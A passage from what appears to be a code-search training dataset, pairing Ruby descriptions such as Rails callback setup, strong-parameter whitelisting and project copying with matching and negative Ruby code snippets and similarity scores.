"0.64072853",
"0.63908076",
"0.6389084",
"0.6385544",
"0.638477",
"0.63812995",
"0.63775504",
"0.6368778",
"0.6365451",
"0.63631696",
"0.63630414",
"0.6361076",
"0.63601094",
"0.6346943",
"0.6346943",
"0.63445705"
] |
0.73687696
|
1
|
Use callbacks to share common setup or constraints between actions.
|
def set_request_service
@request_service = RequestService.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def set_actions\n actions :all\n end",
"def define_action_helpers?; end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def workflow\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def setup\n # override and do something appropriate\n end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def save_action; end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def setup(&blk)\n @setup_block = blk\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def callback_phase\n super\n end",
"def advice\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def duas1(action)\n action.call\n action.call\nend",
"def _handle_action_missing(*args); end"
] |
[
"0.6164095",
"0.6046031",
"0.5945298",
"0.59179014",
"0.58890367",
"0.58341795",
"0.5776118",
"0.5700777",
"0.5700777",
"0.5656277",
"0.56218207",
"0.5423995",
"0.5411516",
"0.5411516",
"0.5411516",
"0.5395004",
"0.53783494",
"0.53593004",
"0.53412604",
"0.534078",
"0.5332865",
"0.53135896",
"0.52999926",
"0.5297309",
"0.5296569",
"0.5261449",
"0.5247048",
"0.52376497",
"0.52376497",
"0.52376497",
"0.52376497",
"0.52376497",
"0.52323204",
"0.52310973",
"0.523081",
"0.5225785",
"0.5219039",
"0.52136266",
"0.5208033",
"0.520763",
"0.5177365",
"0.5175224",
"0.5173357",
"0.5166104",
"0.5162502",
"0.51573396",
"0.5154547",
"0.5153531",
"0.51502854",
"0.51436496",
"0.5142863",
"0.51330835",
"0.5115634",
"0.5115634",
"0.511527",
"0.5109693",
"0.51076853",
"0.5093146",
"0.5090683",
"0.50829846",
"0.50819314",
"0.50670373",
"0.5055505",
"0.5053398",
"0.50504035",
"0.50504035",
"0.5037765",
"0.5027292",
"0.5024484",
"0.50150335",
"0.5014069",
"0.50022113",
"0.5001542",
"0.49981874",
"0.49915564",
"0.49915564",
"0.49880967",
"0.4982312",
"0.49787375",
"0.49786067",
"0.49687737",
"0.49676532",
"0.49602765",
"0.49565676",
"0.49550772",
"0.495342",
"0.49522525",
"0.49463704",
"0.49447197",
"0.49362713",
"0.49328062",
"0.49280638",
"0.49272856",
"0.4927058",
"0.49221697",
"0.4919526",
"0.49185994",
"0.49184805",
"0.49170163",
"0.49168405",
"0.49167764"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def request_service_params
params.require(:request_service).permit(:service_id, :request_id)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def valid_params_request?; end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def url_whitelist; end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.6979893",
"0.6781746",
"0.6746611",
"0.6742344",
"0.6735229",
"0.6592651",
"0.65027124",
"0.6498011",
"0.648163",
"0.647716",
"0.64556813",
"0.64386255",
"0.63784456",
"0.63756156",
"0.636574",
"0.6319542",
"0.63004524",
"0.6299559",
"0.62925464",
"0.62923217",
"0.6289894",
"0.6289475",
"0.62831545",
"0.6242381",
"0.6240358",
"0.6217451",
"0.6214354",
"0.62098235",
"0.61918235",
"0.6177287",
"0.61755854",
"0.61712915",
"0.61620486",
"0.6151379",
"0.61510575",
"0.6145169",
"0.61207956",
"0.6115647",
"0.6107701",
"0.61030304",
"0.60909295",
"0.60797",
"0.60701567",
"0.6062068",
"0.60203075",
"0.60167485",
"0.60125494",
"0.6009718",
"0.6007027",
"0.6007027",
"0.6000283",
"0.59990394",
"0.5996995",
"0.59915864",
"0.59914654",
"0.59912056",
"0.5979621",
"0.596686",
"0.5959418",
"0.59585625",
"0.59583765",
"0.5958032",
"0.5952298",
"0.5951678",
"0.5941885",
"0.59378815",
"0.59376645",
"0.59376645",
"0.5933908",
"0.59302104",
"0.5924862",
"0.5923981",
"0.59165645",
"0.5909916",
"0.590986",
"0.5908378",
"0.5904956",
"0.5897421",
"0.58970135",
"0.5894611",
"0.5893914",
"0.58927566",
"0.5891277",
"0.5885355",
"0.58825094",
"0.58783555",
"0.58728755",
"0.58686864",
"0.5867015",
"0.58660764",
"0.58659357",
"0.5864526",
"0.58634263",
"0.5861585",
"0.5861255",
"0.5858771",
"0.58579147",
"0.5854071",
"0.5853147",
"0.58498794",
"0.58492327"
] |
0.0
|
-1
|
API = Jira::Project The class to access the api's projects declare needed overloaded methods here copy from this.copy(that) copies that into this
|
def copy(project)
project.tickets.each do |ticket|
copy_ticket = self.ticket!(:title => ticket.title, :description => ticket.description)
ticket.comments.each do |comment|
copy_ticket.comment!(:body => comment.body)
sleep 1
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_api_project\n @api_project = Api::Project.includes(:author, :pictures, steps: [:pictures]).find(params[:id])\n end",
"def set_api_project\n @project = Project.find(params[:id])\n end",
"def project; end",
"def projects ; end",
"def build_project\n @id ||= @project.at('id').inner_html\n @api_url ||= \"#{CONFIG[:api_location]}/projects/#{@id}\"\n @url ||= \"http://www.pivotaltracker.com/projects/#{@id}\"\n @name = @project.at('name').inner_html\n @iteration_length = @project.at('iteration_length').inner_html\n @week_start_day = @project.at('week_start_day').inner_html\n @point_scale = @project.at('point_scale').inner_html.split(',')\n end",
"def project=(_arg0); end",
"def project\n end",
"def projects\n @projects ||= Harvest::API::Projects.new(credentials)\n end",
"def set_portfolio_project\n @portfolio_project = Portfolio::Project.unscoped.friendly.api(@api_keys_array).find(params[:id])\n end",
"def build_project\n @id ||= @project.at('id').inner_html\n @api_url ||= \"#{CONFIG[:api_url]}projects/#{@id}\"\n @url ||= \"http://www.pivotaltracker.com/projects/#{@id}\"\n @name = @project.at('name').inner_html\n @iteration_length = @project.at('iteration_length').inner_html\n @week_start_day = @project.at('week_start_day').inner_html\n @point_scale = @project.at('point_scale').inner_html.split(',')\n end",
"def copy\n project_to_clone = Project.find(params[:id])\n @project = project_to_clone.clone\n\n # FIXME add copying of project team members\n\n # date/time transformations\n convert_db_datetime_to_display\n end",
"def fetch_project(input)\n input[:project] = { name: 'Fancy project', owner: { name: 'John Smith' } }\n Success(input)\n end",
"def project(options = {})\n raise Unfuddled::Error.new(\"No options given for project, cannot query\") if options == {}\n \n raise Unfuddled::Error.new(\"Can only supply one of :id and :name\") if options.keys.include?([:id , :name])\n \n url = \"/api/v1/projects/#{options[:id]}.json\" if options.keys.include?(:id)\n url = \"/api/v1/projects/by_short_name/#{options[:name]}.json\" if options.keys.include?(:name)\n\n Unfuddled::Project.from_response( send(:get , url)[:body] , self)\n end",
"def project\n @project ||= Attask::API::Project.new(@credentials)\n end",
"def set_project\n\n end",
"def set_project\n\n end",
"def base_projects=(*val)\n if val.size == 1 && Base_Projects === val.first\n @recipe.base_projects.assign(*val)\n else\n @recipe.base_projects.assign(Base_Projects.new(val.flatten))\n end\n end",
"def internal_projects\n internal_projects = Project.joins(:client).where(\"company_id = #{self.id} AND internal = true\")\n return internal_projects if internal_projects.length > 0\n \n internal_project = Project.new(name: \"#{self.name} (Internal)\", internal: true, deadline: Date.today, description: \"Holds tasks that are accessed by all users\")\n internal_project.client = internal_client\n internal_project.save!\n\n [internal_project]\n end",
"def project\n self\n end",
"def base_projects(*val)\n if !val.empty?\n @recipe.base_projects.assign(Base_Projects.new(val.flatten))\n else\n @recipe.base_projects\n end\n end",
"def get_project1_with_http_info(uuid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ProjectApi.get_project1 ...'\n end\n # verify the required parameter 'uuid' is set\n if @api_client.config.client_side_validation && uuid.nil?\n fail ArgumentError, \"Missing the required parameter 'uuid' when calling ProjectApi.get_project1\"\n end\n # resource path\n local_var_path = '/v1/project/{uuid}'.sub('{' + 'uuid' + '}', CGI.escape(uuid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Project' \n\n # auth_names\n auth_names = opts[:auth_names] || ['X-Api-Key']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ProjectApi#get_project1\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def api_project_params\n params.fetch(:api_project, {})\n end",
"def set_project_implementation\n @project = Project.find(params[:project_id])\n @project_implementation = @project.project_implementation\n end",
"def initialize(project)\n @project = project\n end",
"def getProject(projectName)\n data = CLIENT.repository(projectName)\n return data\nend",
